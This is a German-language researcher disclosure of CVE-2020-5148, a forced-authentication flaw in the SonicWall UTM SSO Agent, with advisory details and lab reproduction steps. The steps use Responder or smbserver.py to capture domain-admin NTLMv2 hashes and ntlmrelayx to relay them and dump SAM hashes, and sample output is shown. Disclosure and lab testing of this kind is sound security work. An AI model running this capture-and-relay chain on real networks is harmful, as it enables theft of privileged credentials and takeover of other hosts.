
CVE-2020-5148 - Erzwungene Authentifizierung im SonicWall UTM SSO Agent. Der Agent testet nicht validierte Workstations als Domain-Admin, sodass eine ausgehende Webanfrage einen privilegierten NTLMv2-Hash liefert. Advisory SNWLID-2021-0003.
Erzwungene Authentifizierung im SonicWall UTM SSO-Agent
Der SonicWall SSO-Agent identifiziert den Benutzer hinter einer bestimmten IP-Adresse, indem er diese Workstation per NetAPI (Standard) oder WMI abfragt. Er validiert die Workstation nicht, bevor er die NTLM-Authentifizierung einleitet, und fragt dieselbe Adresse für die Dauer der Sitzung weiterhin ab.
Da der SSO-Agent-Dienst Administratorrechte auf jeder Workstation und jedem Server benötigt, die er abfragt, wird er in der Praxis als Domain-Admin bereitgestellt. Jede nicht authentifizierte Partei, die Webdatenverkehr durch das UTM-Gerät leiten kann, kann daher ein Domain-Admin-Konto dazu bringen, sich an einem Host ihrer Wahl zu authentifizieren, und diese Authentifizierung erfassen oder weiterleiten.
Veröffentlicht als CVE-2020-5148, Hersteller-Sicherheitshinweis SNWLID-2021-0003.
Entdeckt und gemeldet von Sedric Louissaint von Show Up Show Out Security.
| CVE | CVE-2020-5148 |
| Produkt | SonicWall UTM Appliance und SSO-Agent / Directory Services Connector |
| Betroffen | SSO-Agent 4.1.10.0; Directory Services Connector 4.1.17 und früher |
| Behoben in | NVD verzeichnet die Behebung in Directory Services Connector 4.1.19 (siehe Hinweis unten) |
| Schwachstelle | CWE-287: Improper Authentication |
| CVSS 3.1 (NVD) | 8.2 Hoch CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N |
| CVSS (Forscher) | 8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Veröffentlicht | 2021-03-05 |
| Getestet auf | Microsoft Windows Server 2012 R2 Standard |
| Erforderliche Authentifizierung | Keine |
| Hersteller-Sicherheitshinweis | https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003 |
NVD-Beschreibung:
Die Standardkonfiguration des SonicWall-SSO-Agenten verwendet NetAPI, um die zugehörigen IPs im Netzwerk abzufragen. Diese Client-Abfragemethode ermöglicht es einem potenziellen Angreifer, den Passwort-Hash zu erfassen.

Die Anmerkungen kennzeichnen, was das Herstellerdiagramm auslässt:
Der SSO-Agent-Dienst benötigt Administratorrechte auf allen zugehörigen Workstations und Servern, um die Abfrage überhaupt durchführen zu können. In praktisch jeder Bereitstellung bedeutet dies, dass das Dienstkonto ein Domain-Admin ist.
Die Anmeldedaten, die an einen nicht validierten Host übergeben werden, sind daher das Konto mit den höchsten Privilegien im Verzeichnis.

Es gibt keinen Exploit-Code. Jede ausgehende Webanfrage aus einem Segment, das das Gerät verarbeitet, ist ausreichend:
curl sonicwall.com

Die URL ist irrelevant, und die Anfrage muss nicht erfolgreich sein. Das Gerät beobachtet Datenverkehr von einer unbekannten IP, fordert den SSO-Agenten auf, den Benutzer dort zu identifizieren, und der Agent authentifiziert sich an dieser IP.
Wenn Responder oder smbserver.py lauschen, trifft die NTLMv2-Authentifizierung des Agenten unaufgefordert ein und trifft aufgrund des Abfrageverhaltens weiterhin ein:
[SMB] NTLMv2-SSP Client : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash : ...

Das Knacken ist optional. Wo SMB-Signierung nicht erzwungen wird, kann die Authentifizierung live an einen anderen Host weitergeleitet werden, der die Verbindung dann als das privilegierte Konto behandelt, das sie zu sein scheint:
ntlmrelayx.py -t <target> -smb2support -of <output>
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

Die Authentifizierung wird durch eine nicht authentifizierte Webanfrage ausgelöst und auf einer vollständig anderen Maschine konsumiert, was den vollständigen ACL-Bypass darstellt, der im Advisory beschrieben ist.
In einem Labor, das Ihnen gehört oder für das Sie eine Testgenehmigung haben, mit einem für SSO konfigurierten UTM-Gerät und dem SSO-Agenten, der die standardmäßige NetAPI-Client-Abfragemethode verwendet:
sudo responder -I <interface>
# or
sudo smbserver.py c . -smb2support
curl sonicwall.com
ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
Die vollständige Befehlsfolge finden Sie in poc/repro.sh.
poc/
repro.sh Listener, trigger and relay commands, commented, safe to read first
notes.md Why NetAPI triggers this, what WMI changes, detection guidance
media/
01-sso-flow-annotated.png
02-curl-crossing-network-boundary.png
03-ntlmv2-hashes-captured.png
04-ntlmrelayx-sam-dump.png
05-sso-agent-version-4.1.10.0.png